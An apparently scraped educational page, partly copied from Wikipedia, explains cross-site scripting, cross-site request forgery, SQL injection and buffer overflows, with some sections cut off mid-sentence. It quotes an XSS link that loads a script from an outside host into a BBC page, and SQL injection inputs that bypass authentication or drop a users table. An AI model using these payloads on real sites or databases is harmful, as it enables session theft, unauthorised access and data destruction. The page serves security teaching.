Some identified sections below are copied from Wikipedia entries, so as a derived work this page is licenced under the GNU Free Documentation License, see http://en.wikipedia.org/wiki/Wikipedia:Copyrights for details.
A Cross Site Scripting (XSS) exploit concerns the ability of a website to run scripts within the web browser. Obviously the browser will be designed to sandbox the script, so this has restricted access to the computer running the browser. But the browser can only have low-level information to limit what the script can do, e.g. the script won't be allowed access to files on the host. So if the attack is at a higher conceptual level of abstraction - e.g. to do with what the user of the webpage thinks about the origin of the information being presented, the lower level of logic at which the browser sandboxing of website-delivered scripts occurs will not be effective.
From now on the citizens of the USA can feel safe for the National Information Security is in the young but good hands" <a href=" http://www.bbc.co.uk/bbcone/listings/index.shtml? service_id=4223&DAY=today%22%3E%3Cscript%20src= http://www.securitylab.ru/test/sc.js%3E%3C/script%3E%3C!-- ">reports</a> BBC.
CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests contains a useful description.
This occurs where an attacker writes HTML including scripts into a context that the web browser treats as of local origin, allowing for unprivileged access to local objects - e.g. a file on the local system.
This arises when an attacker (Mallory) succeeds in getting a victim (Alice) to click on a supplied URL which is then submitted to another (e.g. Bob's) website. This can occur through a URL in an email to Alice sent by Mallory, to a site owned by Bob and accepting HTML input. An example might be a URL including a script which steals Alice's cookie used to authenticate to Bob's site regularly used by Alice, which Mallory can then use to login to Bob's site using Alice's credentials .
Here Mallory inserts the HTML including script directly into Bob's website, which allows users to include HTML, e.g. where social networking sites enable users to include an HTML profile. Alice, when looking at Mallory's profile or HTML message, will run the script in her web browser within the domain context of Bob, so Alice's system will treat Mallory's script as if it were from Bob.
This section was copied with permission from: http://en.wikipedia.org/wiki/Cross_site_scripting on 2 Jan 07.
Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. (The names below come from the cast of characters commonly used in computer security.)
Please note, the preceding examples are merely a representation of common methods of exploit and are not meant to encompass all vectors of attack.
This section was copied with permission from: http://en.wikipedia.org/wiki/Cross-site_request_forgery on 2 Jan 07.
Cross-site request forgery, also known as one click attack or session riding and abbreviated as CSRF or XSRF, is a kind of malicious exploit of websites. Although similar-sounding in name to cross-site scripting (XSS), it is a very different and almost opposite form of attack. Whereas cross-site scripting exploits the trust a user has in a website, a cross-site request forgery exploits the trust a Web site has in a user by forging a request from a trusted user. These attacks are often less popular (so there are fewer resources available), more difficult to defend against than XSS attacks, and, therefore, more dangerous.
The attack works by including a link or script in a page that accesses a site to which the user is known to have authenticated. For example, one user, Bob, might be browsing a chat forum where another user, Alice, has posted a message with an image that links to Bob's bank. Suppose that, as the URL for the image tag, Alice has crafted a URL that submits a withdrawal form on Bob's bank's website. If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then Bob's browser's attempt to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
A cross-site request forgery is a confused deputy attack against a Web browser. The deputy in the bank example is Bob's Web browser which is confused into misusing Bob's authority at Alice's direction.
The following characteristics are common to CSRF:
At risk are web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize the specific action. A user that is authenticated by a cookie saved in his web browser could unknowingly send an HTTP request to a site that trusts him and thereby cause an unwanted action.
Here BigBank trusts Alice's cookie because Alice is already logged in. It therefore assumes that the URL that comes from Alice's web browser containing Alice's cookie is authorised to transfer a large sum from Alice's to Mallory's account. Data is freqently sent from browsers to websites as part of the URL, and many websites treat the GET data entry request identically to the FORM data entry request.
This section was copied with permission from: http://en.wikipedia.org/wiki/SQL_injection on 2 Jan 07.
SQL injection is a
This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end user of the application.
The following line of code illustrates this vulnerability:
statement := "SELECT * FROM users WHERE name = '" + userName + "';"
If the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as
a' or 't'='t
renders this SQL statement by the parent language:
SELECT * FROM users WHERE name = 'a' or 't'='t';
If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of 't'='t' is always true.
Theoretically any valid SQL command may be injected via this method, including the execution of multiple statements. The following value of "userName" in the above statement would cause the deletion of the "users" table as well as the selection of all data from the "data" table:
a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%
This input renders the final SQL statement as follows:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%';
This form of SQL injection occurs when a user supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:
statement := "SELECT * FROM data WHERE id = " + a_variable + ";"
It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to
1;DROP TABLE users
will delete the "users" table from the database as the rendered SQL would be rendered as follows:
SELECT * FROM data WHERE id = 1;DROP TABLE users;
A buffer overflow occurs when more data is input into a program data storage area larger than the space allocated or planned for it. Everyone who has learned how to program in 'C' will have encountered buffer overflows as a common programming bug. Crackers have learned how to exploit this bug in many situations where hostile data is input to an insecure program which worked correctly in test cases previously known to the developer.
Programs are vulnerable to this exploit in the situation where
While stack exploits are more common with statically allocated memory (i.e. buffers defined in the source code and fixed at program compile time) other exploits are possible for variables whose buffers are allocated dynamically from the program heap i.e. at program runtime.
The Wikipedia Buffer Overflow article states:
A buffer overflow occurring in the heap data area is referred to as a heap overflow and is exploitable in a different manner to that of stack-based overflows. Memory on the heap is dynamically allocated by the application at run-time and typically contains program data. Exploitation is performed by corrupting this data in specific ways to cause the application to overwrite internal structures such as linked list pointers. The canonical heap overflow technique overwrites dynamic memory allocation linkage (such as malloc meta data) and uses the resulting pointer exchange to overwrite a program function pointer.
The Microsoft JPEG GDI+ vulnerability is a recent example of the danger a heap overflow can represent to a computer user.
Cross Site Scripting Explained (Amit Klein, Sanctum Security Group). This PDF has a very useful diagram showing the sequence of messages between the 3 parties concerned with an XSS attack.
Cross Site Scripting FAQ (cgisecurity.com). Good summary for non-technical users.
Buffer Overflow article (Wikipedia)
Smashing The Stack For Fun And Profit (Aleph One)